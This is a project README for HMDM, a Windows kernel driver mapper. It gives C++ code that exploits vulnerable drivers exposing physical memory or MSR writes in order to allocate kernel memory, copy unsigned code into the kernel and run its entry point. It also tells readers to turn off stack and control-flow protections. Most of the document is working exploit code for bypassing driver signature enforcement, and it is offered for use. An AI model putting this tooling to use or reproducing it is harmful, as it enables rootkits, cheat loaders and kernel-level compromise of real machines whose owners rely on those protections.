HMDM - Highly Modular Driver Mapper

HMDM is a driver mapper which uses any method to allocate kernel memory and any method to copy kernel memory to map unsigned code into the windows kernel. This project is based off of physmeme and is what I intended on creating originally, but was unable to. This repo contains two examples of HMDM, one with VDM (Vulnerable Driver Manipulation of drivers exposing arbitrary physical memory read and write), and the other example using MSREXEC which uses any driver that can write to arbitrary MSR's to elevate to kernel execution. Besides VDM and MSREXEC, one could use any other method of executable kernel memory allocation and arbitrary kernel writes to interface with drv::hmdm_ctx.

Driver Requirements

Driver must be compiled with /GS- and control flow guard disabled. These settings are located in C/C++ --> Code Generation ---> Security Check/Control Flow Guard. The driver you compile must have a custom driver entry. This means that you need to change the entry point of the module in linker settings. You can find the setting at Linker --> Advanced --> Entry Point. Please make sure that your entry point uses the same function type that HMDM uses. If the function type is changed, please ensure that the changes are also applied to HMDM.

// NOTE: this driver has a custom entry point (drv_entry), if you make a new project
// please change the driver entry in linker settings... You will also need to disable
// CFG in c++ --> code generations, along with GS...
auto drv_entry(uintptr_t drv_base) -> NTSTATUS
{
	DbgPrint("> drv base -> 0x%p\n", drv_base);
	return STATUS_SUCCESS;
}

Getting Started

---

In order to create a drv::hmdm_ctx, one must first declare two lambdas. One lambda for allocating executable kernel memory, and another lambda for arbitrary kernel writes. Programmers can use any vulnerabilities to facilitate these requirements. Once both lambdas are defined one can create a drv::hmdm_ctx. Simply pass in both lambdas at the same time with a static initializer.

drv::hmdm_ctx drv_mapper({ _kalloc, _kmemcpy });

// read driver off disk to be mapped...
drv::drv_buffer_t drv_buffer;
utils::open_binary_file(argv[1], drv_buffer);

// map driver into the kernel...
const auto [drv_base, drv_entry] = drv_mapper.map_module(drv_buffer);

NOTE: drv::hmdm_ctx does not call the drivers entry. You must do this yourself using whatever method. This is easily done with VDM and MSREXEC.

// calls driver entry point with MSREXEC... 
// you can change the entry point params to fit your needs...
NTSTATUS result;
msrexec.exec([&result, drv_entry = drv_entry, drv_base = drv_base]
	(void* krnl_base, get_system_routine_t get_kroutine) -> void
{
	using drv_entry_t = NTSTATUS(*)(std::uintptr_t);
	result = reinterpret_cast<drv_entry_t>(drv_entry)(drv_base);
});

// calls driver entry point with VDM... 
// you can change the entry point params to fit your needs...
const auto entry_result = 
    vdm.syscall<NTSTATUS(*)(std::uintptr_t)>(
	    reinterpret_cast<void*>(drv_entry), drv_base);

VDM Example

---

drv::kalloc_t - VDM Example

vdm::vdm_ctx vdm(_read_phys, _write_phys);
drv::kalloc_t _kalloc = [&](std::size_t size) -> void*
{
	using ex_alloc_pool_t = 
		void* (*)(std::uint32_t, std::uint32_t);

	static const auto ex_alloc_pool =
		reinterpret_cast<void*>(
			utils::kmodule::get_export(
				"ntoskrnl.exe", "ExAllocatePool"));

	return vdm.syscall<ex_alloc_pool_t>(ex_alloc_pool, NULL, size);
};

drv::kmemcpy_t - VDM Example

NOTE: The memcpy being called in this example is exported from ntoskrnl.exe and not in usermode.

drv::kmemcpy_t _kmemcpy = 
	[&](void* dest, const void* src, std::size_t size) -> void*
{
	static const auto kmemcpy = 
		reinterpret_cast<void*>(
			utils::kmodule::get_export(
				"ntoskrnl.exe", "memcpy"));

	return vdm.syscall<decltype(&memcpy)>(kmemcpy, dest, src, size);
};

MSREXEC Example

---

drv::kalloc_t - MSREXEC Example

NOTE: When using MSREXEC be aware that vdm::msrexec_ctx::exec returns void. This requires a programmer to make a nested lambda in order to obtain a result.

vdm::msrexec_ctx msrexec(_write_msr);
drv::kalloc_t _kalloc = [&](std::size_t size) -> void*
{
	void* alloc_base;
	msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void
	{
		using ex_alloc_pool_t = 
			void* (*)(std::uint32_t, std::size_t);

		const auto ex_alloc_pool = 
			reinterpret_cast<ex_alloc_pool_t>(
				get_kroutine(krnl_base, "ExAllocatePool"));

		alloc_base = ex_alloc_pool(NULL, size);
	});
	return alloc_base;
};

drv::kmemcpy_t - MSREXEC Example

NOTE: When using MSREXEC be aware that vdm::msrexec_ctx::exec returns void. This requires a programmer to make a nested lambda in order to obtain a result.

drv::kmemcpy_t _kmemcpy = 
	[&](void* dest, const void* src, std::size_t size) -> void*
{
	void* result = nullptr;
	msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void
	{
		const auto kmemcpy = 
			reinterpret_cast<decltype(&memcpy)>(
				get_kroutine(krnl_base, "memcpy"));

		result = kmemcpy(dest, src, size);
	});
	return result;
};